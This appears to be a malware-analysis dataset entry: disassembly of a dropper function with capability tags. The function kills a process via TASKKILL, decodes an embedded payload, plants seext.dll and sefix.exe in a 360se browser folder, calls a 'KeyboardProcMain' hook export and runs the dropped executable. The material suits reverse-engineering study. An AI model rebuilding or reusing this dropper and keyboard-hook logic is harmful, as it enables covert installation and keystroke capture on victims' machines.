Function at 0x402450
Capabilities:
Check for time delay via gettickcount
Get common file path

Disassembly:
sub esp, 0x828
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.kernel32.dll
call ebx
mov dword [0x4074b8], eax
call fcn.00402340
mov esi, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [str.b_y4_]
mov dx, word [0x407244]
mov al, byte [0x407246]
mov dword [esp + 0x1c], ecx
mov ecx, dword [str._r74_]
mov word [esp + 0x20], dx
mov dx, word [0x40723c]
mov byte [esp + 0x22], al
mov al, byte [0x40723e]
push 0x200000
mov dword [esp + 0x18], ecx
mov word [esp + 0x1c], dx
mov byte [esp + 0x1e], al
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, eax
push esi
push ebp
push 0x4073b4
call fcn.004023c0
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x402503
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret
push str.shell32.dll
call ebx
push str.ShellExecuteA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x1c]
push esi
push ecx
push ebp
mov dword [esp + 0x1c], eax
call fcn.00401ef0
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
jne 0x40253d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x828
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x439]
mov byte [esp + 0x438], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x231]
mov byte [esp + 0x230], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x335]
mov byte [esp + 0x334], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
movsx edx, byte [esp + 0x28]
push eax
push edx
lea eax, [esp + 0x33c]
push str._c:Program_Filesconfig.xml
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x4074b8]
add esp, 0x10
push str.CreateDirectoryA
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x24], eax
call edi
movsx edx, byte [esp + 0x28]
push eax
push edx
lea eax, [esp + 0x238]
push str._c:Program_Files_d.jpg
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, esi
push 1
sub ecx, ebx
lea edx, [ebx + ebp + 6]
sub ecx, 6
lea eax, [esp + 0x244]
push ecx
push edx
push eax
call fcn.00401fc0
add esp, 0x20
mov ebx, dword [esp + 0x10]
lea ecx, [esp + 0x230]
push 5
push 0
push 0
push ecx
push str.open
push 0
call ebx
lea edx, [esp + 0x14]
push esi
push edx
push ebp
call fcn.00401ef0
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
jne 0x402642
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x828
ret
call fcn.00401f40
test eax, eax
je 0x40282a
push 0
push 0x4071c8
push str._c_TASKKILL__F__IM_sefix.exe
push str.cmd.exe
push str.open
push 0
call ebx
sub esi, edi
xor eax, eax
sub esi, 0xc06
lea ebp, [edi + ebp + 6]
mov ebx, esi
lea ecx, [ebx + 0xc00]
test ecx, ecx
jbe 0x40269d
mov edx, eax
and edx, 0x80000001
jns 0x402692
dec edx
or edx, 0xfffffffe
inc edx
je 0x402698
add byte [eax + ebp], 0xf5
inc eax
cmp eax, ecx
jb 0x402683
xor eax, eax
test ecx, ecx
jbe 0x4026bd
mov edx, eax
and edx, 0x80000001
jns 0x4026b2
dec edx
or edx, 0xfffffffe
inc edx
jne 0x4026b8
add byte [eax + ebp], 0x2e
inc eax
cmp eax, ecx
jb 0x4026a3
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [esp + 0x28]
push eax
lea ecx, [esp + 0x43c]
push str._c:Program_Files360se
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x438]
push 0
push edx
call dword [esp + 0x2c]
mov edi, str._seext.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x438]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
lea eax, [esp + 0x440]
push ebp
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401fc0
add esp, 0x10
test eax, eax
je 0x40282a
push 3
add ebx, ebp
push 0xc00
lea ecx, [esp + 0x33c]
push ebx
push ecx
call fcn.00401fc0
add esp, 0x10
test eax, eax
je 0x40282a
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.shlwapi.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PathFileExistsA
push eax
call edi
lea edx, [esp + 0x438]
mov esi, eax
push edx
call esi
lea eax, [esp + 0x438]
push eax
call ebx
test eax, eax
je 0x40282a
push str.KeyboardProcMain
push eax
call edi
push 1
push 0
push 0
mov ebp, eax
push 0
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x13d]
mov byte [esp + 0x13c], 0
rep stosd dword es:[edi], eax
movsx ecx, byte [esp + 0x38]
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x140]
push str._c:Program_Files360se_sefix.exe
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea eax, [esp + 0x12c]
push eax
call esi
test eax, eax
jne 0x40280b
push 1
push eax
push eax
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x12c]
push ecx
call esi
test eax, eax
je 0x40282a
push 5
push 0x4071c8
lea edx, [esp + 0x134]
push str._1polo1
push edx
push str.open
push 0
call dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x828
ret